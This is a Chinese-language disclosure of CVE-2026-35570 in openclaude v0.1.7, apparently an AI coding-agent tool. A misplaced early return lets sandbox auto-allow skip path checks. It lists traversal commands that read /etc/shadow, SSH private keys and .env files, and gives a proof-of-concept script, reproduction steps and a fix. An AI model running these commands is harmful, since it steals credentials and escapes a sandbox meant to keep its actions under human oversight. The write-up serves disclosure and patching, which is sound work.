CVE-2026-35570 | CVSS 8.4(高危)| openclaude v0.1.7
并非每个漏洞都需要复杂的利用链。有时,一个放错位置的 return 语句就足以在你的安全模型上炸开一个大洞。CVE-2026-35570 正是如此。
这篇分析文章介绍的是我在 openclaude v0.1.7 中发现的一个沙箱绕过漏洞——一个逻辑缺陷,它能让路径遍历载荷直接穿过文件系统隔离层,而完全不被检查。
我在查看 bashPermissions.ts 时,控制流中的某个东西引起了我的注意。权限逻辑乍一看很合理——如果处于沙箱环境中,就自动允许该命令;否则,提示用户。看起来足够干净。
但有一个问题一直萦绕在我心头:路径约束检查到底在哪里执行?
我从头到尾追踪了 bashToolHasPermission(),并绘制出了执行路径:
bashToolHasPermission()
│
├─ [~1445] 沙箱自动允许块
│ └─ 未找到拒绝规则 → 返回 ALLOW ⚠️ 提前退出
│
└─ [~1644] checkPathConstraints() ❌ 永远不会执行到
沙箱块的设计初衷是在沙箱环境中跳过交互式权限提示。这完全合理。问题在于,当它返回 ALLOW 时,函数就在那里直接退出了。而 checkPathConstraints()——真正负责拦截路径遍历的函数——永远不会运行。
在 bashToolHasPermission() 内部,沙箱自动允许块遵循以下逻辑:
此时,checkPathConstraints() 被完全绕过。路径遍历过滤器根本没有机会执行任何操作。
从攻击者的角度来看,这意味着像这样的命令可以直接穿透:
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env
所有这些命令都会返回 behavior: allow。没有提示。没有拦截。什么都没有。
当存在此缺陷时,以下三种情况成为可能:
任意文件读取。 沙箱边界之外的任何内容都可以被读取——/etc/passwd、/etc/shadow、SSH 私钥、.env 文件。只要操作系统级别的权限允许,该文件就可以被读取。
任意文件写入。 同样的逻辑反过来也成立。攻击者可以写入沙箱之外的路径,这为覆盖配置文件或在意外位置投放内容打开了大门。
沙箱隔离完全失效。 沙箱的全部意义就在于强制执行文件系统边界。而存在此漏洞时,这一保证形同虚设。
CVSS v3.1:8.4(高危) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
修复方案在概念上很简单。沙箱自动允许块应该只抑制交互式提示——仅此而已。它绝不应该短路整个权限处理管道。
if (
SandboxManager.isSandboxingEnabled() &&
SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
shouldUseSandbox(input)
) {
const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);
if (sandboxResult.behavior !== 'allow') {
// 仅在拒绝或询问时提前返回——绝不在允许时跳过路径检查
return sandboxResult;
}
// 如果是允许,则继续执行下面的 checkPathConstraints
}
// 路径遍历检查必须始终执行
return checkPathConstraints(input, appState.toolPermissionContext);
这里的原则是:沙箱自动允许跳过的是提示,而不是安全检查。
| 字段 | 详情 |
|---|---|
| 软件包 | openclaude |
| 受影响版本 | v0.1.7 |
| 已修复版本 | 无 |
| CVE | CVE-2026-35570 |
| CVSS | 8.4(高危) |
openclaude v0.1.7git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install
使用沙箱和自动允许标志启动 openclaude:
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude
变量名可能略有不同。请查看
SandboxManager类以确认你的构建版本中确切的环境变量映射。
将以下内容保存为项目根目录下的 poc.ts:
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';
// 设置沙箱条件
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);
// 包含路径遍历的载荷
const maliciousInput = {
command: 'cat ../../../../../etc/passwd'
};
const fakeAppState = {
toolPermissionContext: {
allowedPaths: ['/tmp/sandbox'],
deniedPaths: []
}
};
const result = bashToolHasPermission(maliciousInput, fakeAppState);
console.log('Result:', result.behavior);
// 预期: "deny" — 路径遍历应被拦截
// 实际: "allow" ← 漏洞已确认
然后运行它:
npx ts-node poc.ts
你将看到:
Result: allow
checkPathConstraints() 从未被调用。要自行确认这一点,请在 bashPermissions.ts 中添加一行日志:
// 大约在第 1644 行
function checkPathConstraints(input, context) {
console.log('checkPathConstraints was called'); // 这行永远不会打印
// ...
}
再次运行脚本。日志不会出现——该函数确实被跳过了。
在沙箱会话中打开 openclaude,并提交以下命令:
cat ../../../../../etc/passwd
它会直接执行,没有任何权限提示或拦截,并直接输出 /etc/passwd 的内容。
CVE-2026-35570